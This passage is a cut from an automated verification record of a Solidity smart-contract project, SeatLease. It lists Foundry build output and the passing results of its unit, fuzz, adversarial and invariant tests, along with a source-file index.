test_redeposit_afterWithdrawStartsClean() (gas: 725215)\n[PASS] test_seatCanBeRetakenAfterQuit() (gas: 676698)\n[PASS] test_setTerms_revertsForNonOwner() (gas: 330639)\n[PASS] test_setTerms_revertsOnBadBpsAndListing() (gas: 362082)\n[PASS] test_setTerms_revertsWhenNotDeposited() (gas: 36775)\n[PASS] test_setTerms_revertsWhenOccupied() (gas: 478853)\n[PASS] test_setTerms_updatesVacantSeat() (gas: 406479)\n[PASS] test_take_isReentrancyGuarded() (gas: 1164569)\n[PASS] test_take_open_anyoneMayTake() (gas: 475199)\n[PASS] test_take_open_feeOnTransferBondRecordsActualAmount() (gas: 1203134)\n[PASS] test_take_open_pullsBondAndSetsOperator() (gas: 518003)\n[PASS] test_take_open_revertsWithoutAllowance() (gas: 346776)\n[PASS] test_take_open_zeroBondPullsNothing() (gas: 388789)\n[PASS] test_take_permissioned_ignoresBondAmount() (gas: 385694)\n[PASS] test_take_permissioned_onlyAllowedOperator() (gas: 448554)\n[PASS] test_take_revertsWhenNotDeposited() (gas: 39768)\n[PASS] test_take_revertsWhenOccupied() (gas: 531112)\n[PASS] test_withdraw_afterQuitAndCut() (gas: 588914)\n[PASS] test_withdraw_returnsNftAndClearsSeat() (gas: 425687)\n[PASS] test_withdraw_revertsForNonOwner() (gas: 333650)\n[PASS] test_withdraw_revertsWhenNotDeposited() (gas: 39789)\n[PASS] test_withdraw_revertsWhenOccupied() (gas: 490059)\nSuite result: ok. 56 passed; 0 failed; 0 skipped; finished in 169.43ms (420.37ms CPU time)\n\nRan 67 tests for test/SeatLease.adversarial.t.sol:SeatLeaseAdversarialTest\n[PASS] testFuzz_claim_booksExactlyWhatArrived(uint96,uint96) (runs: 512, μ: 615196, ~: 618330)\nLogs:\n  Bound result 21415\n  Bound result 8652982908724044564\n\n[PASS] testFuzz_claim_repeatedListingsBookTheGainOnce(uint8,uint96,uint96) (runs: 512, μ: 644602, ~: 643078)\nLogs:\n  Bound result 12\n  Bound result 2514264337593536027519\n  Bound result 9653\n\n[PASS] testFuzz_credit_requiresDepositedSeat(uint256,uint96) (runs: 512, μ: 348387, ~: 348356)\nLogs:\n  Bound result 322253229\n\n[PASS] testFuzz_cutByOracle_answerMustBeExactlyTrue(bytes,uint8) (runs: 512, μ: 524998, ~: 524717)\n[PASS] testFuzz_cutByOracle_anyCallerMaySubmit(address) (runs: 512, μ: 623694, ~: 623694)\n[PASS] testFuzz_cutByOracle_chainAndQuestionMustMatch(uint256,bytes32) (runs: 512, μ: 542243, ~: 542276)\n[PASS] testFuzz_cutByOracle_expiryBoundary(uint64,uint64) (runs: 512, μ: 538637, ~: 511009)\nLogs:\n  Bound result 838\n\n[PASS] testFuzz_isValidSignature_expiryBoundary(uint64,uint64) (runs: 512, μ: 475655, ~: 472856)\nLogs:\n  Bound result 3742084132996969663\n\n[PASS] testFuzz_isValidSignature_forgedOperatorSignatureNeverPasses(bytes32,bytes32,uint8) (runs: 512, μ: 479986, ~: 483230)\n[PASS] testFuzz_isValidSignature_onlyTheNamedSeatPairs(uint256) (runs: 512, μ: 471130, ~: 471116)\n[PASS] testFuzz_sweep_splitNeverLosesOrCreatesValue(uint16,uint256) (runs: 512, μ: 767866, ~: 768595)\nLogs:\n  Bound result 2\n  Bound result 4769239338722549799661997\n\n[PASS] testFuzz_sweep_twoSeatsConserveTheirOwnBalances(uint16,uint16,uint96,uint96) (runs: 512, μ: 1427716, ~: 1431573)\nLogs:\n  Bound result 9084\n  Bound result 4804\n  Bound result 2\n  Bound result 436704393480381523754983\n\n[PASS] testFuzz_sweep_vacantPaysOwnerRegardlessOfBps(uint16,uint96,bool) (runs: 512, μ: 515975, ~: 445565)\nLogs:\n  Bound result 1280\n  Bound result 120341936\n\n[PASS] testFuzz_take_openBondRoundTripForAnyTaker(address,uint256) (runs: 512, μ: 638928, ~: 642201)\nLogs:\n  Bound result 888\n\n[PASS] testFuzz_take_permissionedOnlyAllowedCaller(address,address) (runs: 512, μ: 410194, ~: 410175)\n[PASS] testFuzz_withdraw_onlyWhileVacantAndOnlyByOwner(address,bool) (runs: 512, μ: 420131, ~: 489056)\n[PASS] test_claim_allowsTargetWhoseFallbackAnswersShortOrReverts() (gas: 1040741791)\n[PASS] test_claim_bondTokenRewardIsBookedApartFromHeldBond() (gas: 988022)\n[PASS] test_claim_duplicateListingsDoNotHideADecrease() (gas: 1297965)\n[PASS] test_claim_listedAddressWithoutCodeReverts() (gas: 347364)\n[PASS] test_claim_listingTheNftCollectionRevertsBeforeTheTargetIsCalled() (gas: 577835)\n[PASS] test_claim_ownerOfAnotherSeatCannotClaimForThisOne() (gas: 640284)\n[PASS] test_claim_receiveWindowClosesAfterAFailedClaim() (gas: 398131)\n[PASS] test_claim_reentryIntoTakeDepositRedeemAndOracleCutIsBlocked() (gas: 1657281)\n[PASS] test_claim_refusesEveryTargetWithoutCode() (gas: 515713)\n[PASS] test_claim_refusesTargetWhoseFallbackAnswersWithAWord() (gas: 439204)\n[PASS] test_claim_rewardIsBookedToTheClaimingSeatOnly() (gas: 905616)\n[PASS] test_claim_secondClaimBooksOnlyTheNewGain() (gas: 730647)\n[PASS] test_claim_targetCannotPairADeviceThroughOnERC721Received() (gas: 802261)\n[PASS] test_claim_targetCannotSetTermsDuringClaim() (gas: 865103)\n[PASS] test_claim_targetGuardIsEvaluatedFreshOnEveryCall() (gas: 725612)\n[PASS] test_credit_cannotMoveTheDepositedSeatThroughTheErc20Path() (gas: 384988)\n[PASS] test_credit_maxEthValueIsBooked() (gas: 392931)\n[PASS] test_credit_seatNftIsRefusedEvenWhenTheCallerOwnsAndApprovedAnotherSeat() (gas: 552178)\n[PASS] test_credit_seatNftRefusalPrecedesTheValueChecks() (gas: 404286)\n[PASS] test_credit_toOneSeatDoesNotTouchAnother() (gas: 927095)\n[PASS] test_cutByOracle_checksExpiryBeforeSignature() (gas: 500879)\n[PASS] test_cutByOracle_escrowsForfeitedBondWhenOwnerCannotReceive() (gas: 1520884)\n[PASS] test_cutByOracle_rejectsMalleableSignature() (gas: 537775)\n[PASS] test_cutByOracle_rejectsSignatureUnderWorkerDomain() (gas: 538204)\n[PASS] test_cutByOracle_requestIdIsConsumedGloballyAcrossSeats() (gas: 972417)\n[PASS] test_cutByOracle_rotatedSignerInvalidatesOldAttestations() (gas: 566846)\n[PASS] test_cut_twiceRevertsAndReturnsBondOnce() (gas: 534763)\n[PASS] test_deposit_approvedOperatorOfNftCannotDepositForTheHolder() (gas: 112373)\n[PASS] test_deposit_ownerOfOneSeatCannotDepositAnothersSeat() (gas: 184097)\n[PASS] test_isValidSignature_followsOperatorChanges() (gas: 894748)\n[PASS] test_isValidSignature_isPureOfCallerAndSeatOwner() (gas: 522613)\n[PASS] test_isValidSignature_ownerSignatureNeverPairsEvenWhenOwnerOperates() (gas: 429218)\n[PASS] test_isValidSignature_rejectsAtExactExpiry() (gas: 498263)\n[PASS] test_isValidSignature_rejectsCompactAndZeroSignatures() (gas: 539619)\n[PASS] test_isValidSignature_rejectsDirtyHighBitsInStaticWords() (gas: 766975)\n[PASS] test_isValidSignature_rejectsFieldTamperedAfterSigning() (gas: 623136)\n[PASS] test_isValidSignature_rejectsWalletOfAnotherRegistryOverTheSameNft() (gas: 488157)\n[PASS] test_nftTransferAfterDepositDoesNotChangeSeatOwner() (gas: 372674)\n[PASS] test_quit_twiceRevertsAndReturnsBondOnce() (gas: 543485)\n[PASS] test_receive_rejectsEthOutsideClaimEvenFromOwnerAndOperator() (gas: 512192)\n[PASS] test_redeemBond_twiceRevertsSecondTime() (gas: 1402245)\n[PASS] test_sweep_afterOracleCutPaysEverythingToOwner() (gas: 806577)\n[PASS] test_sweep_oneBpsOnSmallAmountPaysOwnerNothing() (gas: 697364)\n[PASS] test_sweep_oneSeatLeavesTheOtherSeatsBalanceIntact() (gas: 1064903)\n[PASS] test_sweep_oneWeiAtHalfGoesToOperator() (gas: 697287)\n[PASS] test_sweep_operatorWhoQuitGetsNothingFromLaterSweep() (gas: 728388)\n[PASS] test_sweep_twiceRevertsSecondTime() (gas: 549097)\n[PASS] test_sweep_usesTermsAtSweepTimeNotAtCreditTime() (gas: 653963)\n[PASS] test_take_bondAmountRaisedWhileVacantAppliesToNextOperator() (gas: 733940)\n[PASS] test_take_openRevertsWhenCallerCannotCoverBond() (gas: 427635)\n[PASS] test_take_permissionedWithZeroAllowedOperatorIsUntakeable() (gas: 390554)\nSuite result: ok. 67 passed; 0 failed; 0 skipped; finished in 169.66ms (2.26s CPU time)\n\nRan 1 test for test/SeatLease.invariants.t.sol:SeatLeaseInvariantTest\n[PASS]\nSeatLeaseInvariantTest invariants:\n[PASS] invariant_bondOnlyWhileOccupied\n[PASS] invariant_nftHeldIffDeposited\n[PASS] invariant_solvent\n[PASS] invariant_sweptNeverExceedsCredited\n SeatLeaseInvariantTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭----------+----------+-------+---------+----------╮\n| Contract | Selector | Calls | Reverts | Discards |\n+==================================================+\n| Handler  | claim    | 269   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | credit   | 243   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | cut      | 263   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | deposit  | 245   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | quit     | 252   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | sweep    | 251   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | take     | 275   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | withdraw | 250   | 0       | 0        |\n╰----------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 9907\n  Bound result 20\n  Bound result 2075\n  Bound result 5984\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 846.51ms (843.61ms CPU time)\n\nRan 1 test for test/SeatLease.stateful.t.sol:SeatLeaseStatefulInvariantTest\n[PASS]\nSeatLeaseStatefulInvariantTest invariants:\n[PASS] invariant_bondOnlyForOccupiedOpenSeats\n[PASS] invariant_bookedTotalsMatchSeatBookings\n[PASS] invariant_erc1271MirrorsOperators\n[PASS] invariant_nftCustody\n[PASS] invariant_solventPerAsset\n[PASS] invariant_usedRequestsStayUsed\n SeatLeaseStatefulInvariantTest invariants (runs: 96, calls: 6144, reverts: 0)\n\n╭-----------------+-------------+-------+---------+----------╮\n| Contract        | Selector    | Calls | Reverts | Discards |\n+============================================================+\n| StatefulHandler | claim       | 602   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | credit      | 579   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | cut         | 551   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | cutByOracle | 584   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | deposit     | 544   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | donate      | 507   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | quit        | 560   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | setTerms    | 556   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | sweep       | 547   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | take        | 542   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | withdraw    | 572   | 0       | 0        |\n╰-----------------+-------------+-------+---------+----------╯\n\nLogs:\n  Bound result 8474\n  Bound result 9703130706494961818\n  Bound result 10878\n  Bound result 4078\n  Bound result 680\n  Bound result 96\n  Bound result 90896708011592462332\n  Bound result 13\n  Bound result 8\n  Bound result 86400\n  Bound result 20\n  Bound result 224\n  Bound result 867\n  Bound result 1000000000000000000000\n  Bound result 701406685\n  Bound result 463374607431768211455\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.31s (10.31s CPU time)\n\nRan 8 test suites in 10.32s (11.84s CPU time): 213 tests passed, 0 failed, 0 skipped (213 total tests)\n","passed":true},{"durationMs":65,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LaunchToken.approve(address,uint256)\",\"LaunchToken.transfer(address,uint256)\",\"LaunchToken.transferFrom(address,address,uint256)\",\"SeatLease.claim(uint256,address,bytes,address[])\",\"SeatLease.credit(uint256,address,uint256)\",\"SeatLease.cut(uint256)\",\"SeatLease.cutByOracle(uint256,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint64,uint64),bytes)\",\"SeatLease.deposit(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.quit(uint256)\",\"SeatLease.receive()\",\"SeatLease.redeemBond()\",\"SeatLease.setTerms(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.sweep(uint256,address)\",\"SeatLease.take(uint256)\",\"SeatLease.withdraw(uint256)\"],\"files\":{\".gas-snapshot\":148,\"REVIEW.md\":72,\"foundry.toml\":48,\"launch.json\":17,\"remappings.txt\":2,\"script/Deploy.s.sol\":69,\"src/LaunchToken.sol\":17,\"src/SeatLease.sol\":683,\"src/mocks/MockDistributor.sol\":44,\"src/mocks/MockERC20.sol\":13,\"src/mocks/MockSeatNFT.sol\":13,\"test/Deploy.t.sol\":101,\"test/LaunchToken.t.sol\":35,\"test/SeatLease.adversarial.t.sol\":1161,\"test/SeatLease.invariants.t.sol\":238,\"test/SeatLease.lifecycle.t.sol\":633,\"test/SeatLease.rewards.t.sol\":678,\"test/SeatLease.signatures.t.sol\":433,\"test/SeatLease.stateful.t.sol\":484,\"test/utils/Actors.sol\":246,\"test/utils/Base.sol\":191},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"9eed276de6b5adb9a70eafd9a964d1a182a57911abed9503b9a85468413bb939","verifiedTreeHash":"984b4adf5f465a26f3c5e6e375c173d9a856ef27","verifierVersion":"0.1.0+042c10fc"},{"checks":[{"durationMs":8932,"exitCode":0,"name":"build","output":"Compiling 68 files with Solc 0.8.26\nSolc 0.8.26 finished in 8.72s\nCompiler run successful!\n","passed":true},{"durationMs":15388,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/LaunchToken.t.sol:LaunchTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 70237)\n[PASS] test_noMintFunction() (gas: 35726)\n[PASS] test_transferMovesExactAmount() (gas: 84880)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 3.29ms (4.45ms CPU time)\n\nRan 41 tests for test/SeatLease.rewards.t.sol:SeatLeaseRewardsTest\n[PASS] testFuzz_anyoneCanCreditAndSweep(address,uint256) (runs: 256, μ: 823878, ~: 824031)\nLogs:\n  Bound result 508\n\n[PASS] testFuzz_sweepEthSplit(uint16,uint96) (runs: 256, μ: 591609, ~: 592863)\nLogs:\n  Bound result 5527\n\n[PASS] testFuzz_sweepSplit(uint16,uint256) (runs: 256, μ: 722847, ~: 724025)\nLogs:\n  Bound result 1362\n  Bound result 9487129548920365973841\n\n[PASS] test_claim_booksEthAndTokenWhenBothListed() (gas: 579648)\n[PASS] test_claim_booksEthEvenWhenNotListed() (gas: 471431)\n[PASS] test_claim_booksTokenIncrease() (gas: 748013)\n[PASS] test_claim_cannotDrainBookedEthByTargetingZeroAddress() (gas: 420653)\n[PASS] test_claim_ethFromPlainPayerIsBooked() (gas: 573282)\n[PASS] test_claim_forbidsNftBondSelfAndBookedTokens() (gas: 609586)\n[PASS] test_claim_reentrancyIntoSweepClaimAndCutIsBlocked() (gas: 1581707)\n[PASS] test_claim_reentrantWithdrawIsBlocked() (gas: 770353)\n[PASS] test_claim_revertsForNonOwner() (gas: 483878)\n[PASS] test_claim_revertsWhenListedBalanceDecreases() (gas: 1153402)\n[PASS] test_claim_revertsWhenNftLeaves() (gas: 956364)\n[PASS] test_claim_revertsWhenNotDeposited() (gas: 43724)\n[PASS] test_claim_revertsWhenTargetReverts() (gas: 364080)\n[PASS] test_claim_zeroGainBooksNothing() (gas: 388750)\n[PASS] test_credit_erc20BooksToSeat() (gas: 504155)\n[PASS] test_credit_ethBooksToSeat() (gas: 410662)\n[PASS] test_credit_feeOnTransferBooksReceivedAmount() (gas: 1140243)\n[PASS] test_credit_isReentrancyGuardedViaClaim() (gas: 813761)\n[PASS] test_credit_revertsOnEthValueMismatch() (gas: 340637)\n[PASS] test_credit_revertsOnEthWithErc20() (gas: 342912)\n[PASS] test_credit_revertsOnZeroAmount() (gas: 335773)\n[PASS] test_credit_revertsWhenNotDeposited() (gas: 46995)\n[PASS] test_credit_revertsWhenNothingArrives() (gas: 821700)\n[PASS] test_credit_revertsWithoutAllowance() (gas: 345151)\n[PASS] test_mockDistributor_fundingAndFailedPayout() (gas: 218348)\n[PASS] test_sweep_allToOperatorAt0() (gas: 780068)\n[PASS] test_sweep_allToOwnerAt10000() (gas: 766402)\n[PASS] test_sweep_allToOwnerWhenVacant() (gas: 662428)\n[PASS] test_sweep_bondTokenAsRewardDoesNotTouchBond() (gas: 765361)\n[PASS] test_sweep_erc20SplitsAt5000() (gas: 829325)\n[PASS] test_sweep_ethSplitsAt5000() (gas: 759046)\n[PASS] test_sweep_isReentrancyGuarded() (gas: 842991)\n[PASS] test_sweep_revertsWhenNotDeposited() (gas: 39912)\n[PASS] test_sweep_revertsWhenNothingBooked() (gas: 335333)\n[PASS] test_sweep_revertsWhenOperatorRejectsEth() (gas: 834714)\n[PASS] test_sweep_revertsWhenOwnerRejectsEth() (gas: 556683)\n[PASS] test_sweep_roundsDustToOperator() (gas: 704123)\n[PASS] test_sweep_unsweptBalanceGoesToOwnerAfterCut() (gas: 812971)\nSuite result: ok. 41 passed; 0 failed; 0 skipped; finished in 243.67ms (585.95ms CPU time)\n\nRan 5 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deploy_mixedMocks() (gas: 3770588)\n[PASS] test_deploy_refusesMocksOnMainnet() (gas: 34870)\n[PASS] test_deploy_requiresAddressesWithoutMocks() (gas: 62789)\n[PASS] test_deploy_withExistingAddresses() (gas: 3342477)\n[PASS] test_deploy_withMocks() (gas: 4660315)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 248.09ms (8.17ms CPU time)\n\nRan 56 tests for test/SeatLease.lifecycle.t.sol:SeatLeaseLifecycleTest\n[PASS] testFuzz_bondRoundTrip(uint256) (runs: 256, μ: 576884, ~: 578117)\nLogs:\n  Bound result 13495\n\n[PASS] testFuzz_onlyOperatorCanQuit(address) (runs: 256, μ: 480240, ~: 480240)\n[PASS] testFuzz_onlyOwnerCanAdminister(address) (runs: 256, μ: 423925, ~: 423925)\n[PASS] testFuzz_termsValidation(uint16,uint16) (runs: 256, μ: 211124, ~: 241908)\nLogs:\n  Bound result 337\n\n[PASS] test_constructor_recordsParameters() (gas: 56806)\n[PASS] test_constructor_rejectsZeroAddresses() (gas: 6598)\n[PASS] test_cut_escrowsBondWhenTransferReverts() (gas: 1486443)\n[PASS] test_cut_returnsBondToOperator() (gas: 590397)\n[PASS] test_cut_revertsForNonOwner() (gas: 479923)\n[PASS] test_cut_revertsWhenNotDeposited() (gas: 39846)\n[PASS] test_cut_revertsWhenVacant() (gas: 333652)\n[PASS] test_deposit_acceptsMaxListing() (gas: 367968)\n[PASS] test_deposit_recordsOwnerTermsAndHoldsNft() (gas: 352822)\n[PASS] test_deposit_rejectsHookForDifferentTokenId() (gas: 808461)\n[PASS] test_deposit_rejectsHookFromStrangerDuringDeposit() (gas: 817864)\n[PASS] test_deposit_revertsOnBadBps() (gas: 126061)\n[PASS] test_deposit_revertsOnLongListing() (gas: 127674)\n[PASS] test_deposit_revertsWhenAlreadyDeposited() (gas: 334232)\n[PASS] test_deposit_revertsWhenCallerDoesNotOwnNft() (gas: 50416)\n[PASS] test_deposit_revertsWhenNftDidNotArrive() (gas: 806580)\n[PASS] test_deposit_revertsWithoutApproval() (gas: 231941)\n[PASS] test_deposit_worksWithMinimalNft() (gas: 785306)\n[PASS] test_onERC721Received_rejectsDirectCall() (gas: 14026)\n[PASS] test_onERC721Received_rejectsDirectTransferOfSeatNft() (gas: 88219)\n[PASS] test_onERC721Received_rejectsOtherCollections() (gas: 145028)\n[PASS] test_quit_acceptsTransferReturningNothing() (gas: 1303941)\n[PASS] test_quit_escrowsBondWhenTransferReturnsFalse() (gas: 1303018)\n[PASS] test_quit_escrowsBondWhenTransferReturnsShortData() (gas: 1317091)\n[PASS] test_quit_permissionedReturnsNothing() (gas: 400152)\n[PASS] test_quit_returnsBondAndClearsOperator() (gas: 561079)\n[PASS] test_quit_revertsForNonOperator() (gas: 512600)\n[PASS] test_quit_revertsWhenVacantOrUnknown() (gas: 364343)\n[PASS] test_receive_revertsOnPlainEth() (gas: 41749)\n[PASS] test_redeemBond_revertsWhenNothingOwed() (gas: 39654)\n[PASS] test_redeposit_afterWithdrawStartsClean() (gas: 725215)\n[PASS] test_seatCanBeRetakenAfterQuit() (gas: 676698)\n[PASS] test_setTerms_revertsForNonOwner() (gas: 330639)\n[PASS] test_setTerms_revertsOnBadBpsAndListing() (gas: 362082)\n[PASS] test_setTerms_revertsWhenNotDeposited() (gas: 36775)\n[PASS] test_setTerms_revertsWhenOccupied() (gas: 478853)\n[PASS] test_setTerms_updatesVacantSeat() (gas: 406479)\n[PASS] test_take_isReentrancyGuarded() (gas: 1164569)\n[PASS] test_take_open_anyoneMayTake() (gas: 475199)\n[PASS] test_take_open_feeOnTransferBondRecordsActualAmount() (gas: 1203134)\n[PASS] test_take_open_pullsBondAndSetsOperator() (gas: 518003)\n[PASS] test_take_open_revertsWithoutAllowance() (gas: 346776)\n[PASS] test_take_open_zeroBondPullsNothing() (gas: 388789)\n[PASS] test_take_permissioned_ignoresBondAmount() (gas: 385694)\n[PASS] test_take_permissioned_onlyAllowedOperator() (gas: 448554)\n[PASS] test_take_revertsWhenNotDeposited() (gas: 39768)\n[PASS] test_take_revertsWhenOccupied() (gas: 531112)\n[PASS] test_withdraw_afterQuitAndCut() (gas: 588914)\n[PASS] test_withdraw_returnsNftAndClearsSeat() (gas: 425687)\n[PASS] test_withdraw_revertsForNonOwner() (gas: 333650)\n[PASS] test_withdraw_revertsWhenNotDeposited() (gas: 39789)\n[PASS] test_withdraw_revertsWhenOccupied() (gas: 490059)\nSuite result: ok. 56 passed; 0 failed; 0 skipped; finished in 247.91ms (806.06ms CPU time)\n\nRan 32 tests for test/SeatLease.signatures.t.sol:SeatLeaseSignaturesTest\n[PASS] testFuzz_cutByOracle_onlyOracleKeyPasses(uint256) (runs: 256, μ: 76781, ~: 76750)\nLogs:\n  Bound result 12415\n\n[PASS] testFuzz_isValidSignature_arbitraryBytesNeverPass(bytes,bytes32) (runs: 256, μ: 13218, ~: 13215)\n[PASS] testFuzz_isValidSignature_onlyOperatorKeyPasses(uint256) (runs: 256, μ: 39457, ~: 39423)\nLogs:\n  Bound result 611151333\n\n[PASS] test_cutByOracle_attestationForAnotherRegistryIsRejected() (gas: 117461)\n[PASS] test_cutByOracle_forfeitsBondToOwner() (gas: 210303)\n[PASS] test_cutByOracle_permissionedSeatForfeitsNothing() (gas: 269320)\n[PASS] test_cutByOracle_rejectsExpired() (gas: 190509)\n[PASS] test_cutByOracle_rejectsFalseAnswer() (gas: 61316)\n[PASS] test_cutByOracle_rejectsMalformedSignature() (gas: 61469)\n[PASS] test_cutByOracle_rejectsNonBoolType() (gas: 56036)\n[PASS] test_cutByOracle_rejectsOddAnswerEncodings() (gas: 173672)\n[PASS] test_cutByOracle_rejectsSeatWithoutOracle() (gas: 295918)\n[PASS] test_cutByOracle_rejectsTamperedAttestation() (gas: 70378)\n[PASS] test_cutByOracle_rejectsVacantAndUndeposited() (gas: 142717)\n[PASS] test_cutByOracle_rejectsWrongChainId() (gas: 59459)\n[PASS] test_cutByOracle_rejectsWrongQuestion() (gas: 61246)\n[PASS] test_cutByOracle_rejectsWrongSigner() (gas: 131004)\n[PASS] test_cutByOracle_replayIsRejected() (gas: 425466)\n[PASS] test_decodeAuthorization_roundTrips() (gas: 19336)\n[PASS] test_isValidSignature_acceptsOperatorSignedAuthorization() (gas: 46539)\n[PASS] test_isValidSignature_domainMatchesNetworkParameters() (gas: 11217)\n[PASS] test_isValidSignature_rejectsAfterCut() (gas: 81039)\n[PASS] test_isValidSignature_rejectsBadOperatorSignatures() (gas: 88258)\n[PASS] test_isValidSignature_rejectsCrossSeatReplayOfBlob() (gas: 31915)\n[PASS] test_isValidSignature_rejectsDigestMismatch() (gas: 51224)\n[PASS] test_isValidSignature_rejectsExpired() (gas: 54014)\n[PASS] test_isValidSignature_rejectsMalformedBytes() (gas: 147507)\n[PASS] test_isValidSignature_rejectsNonOperatorSigner() (gas: 59018)\n[PASS] test_isValidSignature_rejectsOtherChain() (gas: 30347)\n[PASS] test_isValidSignature_rejectsVacantSeat() (gas: 106123)\n[PASS] test_isValidSignature_rejectsWrongTokenId() (gas: 370268)\n[PASS] test_isValidSignature_rejectsWrongWallet() (gas: 31007)\nSuite result: ok. 32 passed; 0 failed; 0 skipped; finished in 248.10ms (449.30ms CPU time)\n\nRan 60 tests for test/SeatLease.adversarial.t.sol:SeatLeaseAdversarialTest\n[PASS] testFuzz_claim_booksExactlyWhatArrived(uint96,uint96) (runs: 512, μ: 612864, ~: 617199)\nLogs:\n  Bound result 2514264337593536027519\n  Bound result 1853\n\n[PASS] testFuzz_credit_requiresDepositedSeat(uint256,uint96) (runs: 512, μ: 348391, ~: 348343)\nLogs:\n  Bound result 11683\n\n[PASS] testFuzz_cutByOracle_answerMustBeExactlyTrue(bytes,uint8) (runs: 512, μ: 524932, ~: 524664)\n[PASS] testFuzz_cutByOracle_anyCallerMaySubmit(address) (runs: 512, μ: 623727, ~: 623727)\n[PASS] testFuzz_cutByOracle_chainAndQuestionMustMatch(uint256,bytes32) (runs: 512, μ: 542167, ~: 542189)\n[PASS] testFuzz_cutByOracle_expiryBoundary(uint64,uint64) (runs: 512, μ: 540626, ~: 569946)\nLogs:\n  Bound result 11683\n\n[PASS] testFuzz_isValidSignature_expiryBoundary(uint64,uint64) (runs: 512, μ: 474849, ~: 477787)\nLogs:\n  Bound result 11683\n\n[PASS] testFuzz_isValidSignature_forgedOperatorSignatureNeverPasses(bytes32,bytes32,uint8) (runs: 512, μ: 477925, ~: 482177)\n[PASS] testFuzz_isValidSignature_onlyTheNamedSeatPairs(uint256) (runs: 512, μ: 470085, ~: 470085)\n[PASS] testFuzz_sweep_splitNeverLosesOrCreatesValue(uint16,uint256) (runs: 512, μ: 767291, ~: 768403)\nLogs:\n  Bound result 20\n  Bound result 224\n\n[PASS] testFuzz_sweep_twoSeatsConserveTheirOwnBalances(uint16,uint16,uint96,uint96) (runs: 512, μ: 1426940, ~: 1431441)\nLogs:\n  Bound result 2\n  Bound result 2920\n  Bound result 19461\n  Bound result 79228162514264337593543950335\n\n[PASS] testFuzz_sweep_vacantPaysOwnerRegardlessOfBps(uint16,uint96,bool) (runs: 512, μ: 520472, ~: 589419)\nLogs:\n  Bound result 2278\n  Bound result 3825257814103236992092076\n\n[PASS] testFuzz_take_openBondRoundTripForAnyTaker(address,uint256) (runs: 512, μ: 640829, ~: 642241)\nLogs:\n  Bound result 1218270513156\n\n[PASS] testFuzz_take_permissionedOnlyAllowedCaller(address,address) (runs: 512, μ: 410240, ~: 410208)\n[PASS] testFuzz_withdraw_onlyWhileVacantAndOnlyByOwner(address,bool) (runs: 512, μ: 414339, ~: 340781)\n[PASS] test_claim_bondTokenRewardIsBookedApartFromHeldBond() (gas: 987119)\n[PASS] test_claim_listedAddressWithoutCodeReverts() (gas: 343768)\n[PASS] test_claim_listingTheNftCollectionBooksNothing() (gas: 374231)\n[PASS] test_claim_ownerOfAnotherSeatCannotClaimForThisOne() (gas: 640284)\n[PASS] test_claim_receiveWindowClosesAfterAFailedClaim() (gas: 397303)\n[PASS] test_claim_reentryIntoTakeDepositRedeemAndOracleCutIsBlocked() (gas: 1654045)\n[PASS] test_claim_rewardIsBookedToTheClaimingSeatOnly() (gas: 904388)\n[PASS] test_claim_secondClaimBooksOnlyTheNewGain() (gas: 727455)\n[PASS] test_claim_targetCannotPairADeviceThroughOnERC721Received() (gas: 801422)\n[PASS] test_claim_targetCannotSetTermsDuringClaim() (gas: 864260)\n[PASS] test_claim_targetWithoutCodeBooksNothing() (gas: 382977)\n[PASS] test_credit_bookingTheSeatNftNeverUnlocksItAsClaimTarget() (gas: 561297)\n[PASS] test_credit_cannotMoveTheDepositedSeatThroughTheErc20Path() (gas: 418253)\n[PASS] test_credit_maxEthValueIsBooked() (gas: 392794)\n[PASS] test_credit_toOneSeatDoesNotTouchAnother() (gas: 926900)\n[PASS] test_cutByOracle_checksExpiryBeforeSignature() (gas: 500879)\n[PASS] test_cutByOracle_escrowsForfeitedBondWhenOwnerCannotReceive() (gas: 1520895)\n[PASS] test_cutByOracle_rejectsMalleableSignature() (gas: 537797)\n[PASS] test_cutByOracle_rejectsSignatureUnderWorkerDomain() (gas: 538248)\n[PASS] test_cutByOracle_requestIdIsConsumedGloballyAcrossSeats() (gas: 972461)\n[PASS] test_cutByOracle_rotatedSignerInvalidatesOldAttestations() (gas: 566846)\n[PASS] test_cut_twiceRevertsAndReturnsBondOnce() (gas: 534796)\n[PASS] test_deposit_approvedOperatorOfNftCannotDepositForTheHolder() (gas: 112285)\n[PASS] test_deposit_ownerOfOneSeatCannotDepositAnothersSeat() (gas: 184107)\n[PASS] test_isValidSignature_followsOperatorChanges() 